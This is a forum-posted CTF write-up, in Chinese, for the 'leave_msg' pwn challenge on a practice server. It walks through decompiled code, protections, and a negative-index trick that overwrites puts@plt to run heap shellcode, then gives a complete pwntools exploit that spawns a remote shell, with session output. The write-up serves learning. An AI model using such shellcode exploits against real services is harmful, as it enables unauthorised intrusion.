

leave_msg的wp


[niexinming](#) / 2017-11-27 20:56:00 / 浏览数 2235 [安全技术](#) [CTF 顶\(0\)](#) [踩\(0\)](#)

<https://hackme.inndy.tw/scoreboard/> 题目很有趣，我做了leave_msg这个题目感觉还不错，我把wp分享出来，方便大家学习
leave_msg的题目要求是：

nc hackme.inndy.tw 7715

I am on a vacation, leave the message for me.

把leave_msg直接拖入ida中:



```
1 int __cdecl main()
2 {
3     int v0; // eax
4     signed int i; // [esp+4h] [ebp-424h]
5     int v3; // [esp+8h] [ebp-420h]
6     char nptr; // [esp+Ch] [ebp-41Ch]
7     char buf; // [esp+1Ch] [ebp-40Ch]
8     char v6; // [esp+24h] [ebp-404h]
9     unsigned int v7; // [esp+41Ch] [ebp-Ch]
10
11     v7 = __readgsdword(0x14u);
12     setbuf(stdout, 0);
13     setbuf(stdin, 0);
14     while ( 1 )
15     {
16         v0 = dword_804A04C++;
17         if ( v0 > 2 )
18             break;
19         puts("I'm busy. Please leave your message:");
20         read(0, &buf, 0x400u);
21         puts("Which message slot?");
22         read(0, &nptr, 0x10u);
23         v3 = atoi(&nptr);
24         if ( strlen(&buf) > 8 )
25         {
26             puts("Message too long, truncated.");
27             v6 = 0;
28         }
29         if ( v3 <= 64 && nptr != 45 )
30             dword_804A060[v3] = (int)strdup(&buf);
31         else
32             puts("Out of bound.");
33     }
34     puts("Here is your messages:");
35     for ( i = 0; i <= 63; ++i )
36     {
37         if ( dword_804A060[i] )
38             printf("%d: %s\n", i, dword_804A060[i]);
39     }
40     puts("Goodbye");
41     return 0;
42 }
```

这个程序流程很简单，首先输入留言，然后输入留言的序号，最多只能留三条留言，最后程序把你的留言打出来。这个程序会把你写的留言保存到bss段，同时限制你留言的

```
<= 64 && nptr != 45)
```

先运行一下程序看一下这个程序干了啥

```
h11p@ubuntu:~/hackme$ ./leave_msg
I'm busy. Please leave your message:
aaaaa
Which message slot?
1
I'm busy. Please leave your message:
bbbbb
Which message slot?
2
I'm busy. Please leave your message:
cccccc
Which message slot?
3
Here is your messages:
1: aaaaa
2: bbbbb
3: cccccc

Goodbye
h11p@ubuntu:~/hackme$
```

再看看程序开启了哪些保护:

```
h11p@ubuntu:~/hackme$ checksec leave_msg
[*] '/home/h11p/hackme/leave_msg'
Arch:      i386-32-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX disabled
PIE:       No PIE (0x8048000)
RWX:       Has RWX segments
h11p@ubuntu:~/hackme$
```

看到这个程序开了栈段可执行，还关闭了随机基地址，所以这个程序只要找到漏洞就可以利用起来

我的思路是在输入留言序号的时候输入负数，向上覆盖puts@plt中的地址，使程序在运行到puts的函数时能跳到我的shellcode中执行。因为输入序号的第一个字符不能是")函数会扫描参数nptr字符串，跳过前面的空白字符(例如空格，tab缩进)这个特性，在输入序号之前输入几个空格，然后再输入负数就可以绕过v3 <= 64 && nptr != 45这个限制了

Ps:

- (1) 这个程序首先不是整数溢出，因为当输入大于2147483647数字时，atoi会一直输出7FFFFFFF
- (2) 虽然程序用了strdup这个函数，但是程序不是uaf，或者堆溢出，因为没有释放内存的操作
- (3) 这个程序不是栈溢出，虽然read函数可以在缓冲区输入很多字符，但是输入的字符始终没有覆盖到__libc_start_main的返回地址，导致没有办法利用

所以我都exp是

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Author__ = 'niexinming'

from pwn import *

context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x80486f1'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

elf = ELF('/home/h11p/hackme/leave_msg')

#io = process('/home/h11p/hackme/leave_msg')

io = remote('hackme.inndy.tw', 7715)
```

```

payload1 =asm("add esp,0x40")+asm("jmp esp")+ "\x00"+" \x90"*20+asm(shellcraft.sh())
payload2 = "\x20"*6+"-16"
#debug()

io.recvuntil("I'm busy. Please leave your message:\n")
io.sendline(payload1)
io.recvuntil("Which message slot?\n")
io.send(payload2)
#io.recvuntil("Goodbye\n")
io.interactive()
io.close()

```

这里我依靠"\x20"*6+"-16",让序号所指向的指针向上跳到puts@plt中,从而覆盖puts@plt,这样程序执行到puts时就可以跳到strdup开辟的堆空间中,因为strdup只能esp,30;jmp

esp;这样的短代码,因为strlen在遇到0x00的时候就会停止计数,所以把大段shellcode放入0x00后面,这样程序就可以顺利的执行shellcode了。下图是程序各个段权限

```

gdb-peda$ vmap
Start      End      Perm      Name
0x08048000 0x08049000 r-xp      /home/h11p/hackme/leave_msg
0x08049000 0x0804a000 r-xp      /home/h11p/hackme/leave_msg
0x0804a000 0x0804b000 rwxp      /home/h11p/hackme/leave_msg
0x08eb4000 0x08ed5000 rwxp      [heap]
0xf75c0000 0xf7770000 r-xp      /lib/i386-linux-gnu/libc-2.23.so
0xf7770000 0xf7772000 r-xp      /lib/i386-linux-gnu/libc-2.23.so
0xf7772000 0xf7773000 rwxp      /lib/i386-linux-gnu/libc-2.23.so
0xf7773000 0xf7776000 rwxp      mapped
0xf7790000 0xf7792000 rwxp      mapped
0xf7792000 0xf7794000 r--p      [vvar]
0xf7794000 0xf7796000 r-xp      [vdso]
0xf7796000 0xf77b8000 r-xp      /lib/i386-linux-gnu/ld-2.23.so
0xf77b8000 0xf77b9000 rwxp      mapped
0xf77b9000 0xf77ba000 r-xp      /lib/i386-linux-gnu/ld-2.23.so
0xf77ba000 0xf77bb000 rwxp      /lib/i386-linux-gnu/ld-2.23.so
0xffcb5000 0xffcd6000 rwxp      [stack]
gdb-peda$

```

exp执行的效果是：

```

h11p@ubuntu: ~/PycharmProjects/testpwn
00000040 d2 6a 0b 58 cd 80 0a
00000047
[DEBUG] Received 0x14 bytes:
'Which message slot?\n'
[DEBUG] Sent 0x9 bytes:
'-16'
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
'id\n'
[DEBUG] Received 0x2d bytes:
'uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)\n'
uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x16 bytes:
'flag\n'
'leave_msg\n'
'run.sh\n'
flag
leave_msg
run.sh
$

```

leave_msg.zip (0.002 MB) [下载附件](#)

点击收藏 | 0 关注 | 0

[上一篇：新先知技术社区之没有什么用的任意上传漏洞](#) [下一篇：XSS Filter Evasio...](#)

1. 0 条回复
- 动动手指，沙发就是你的了！

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)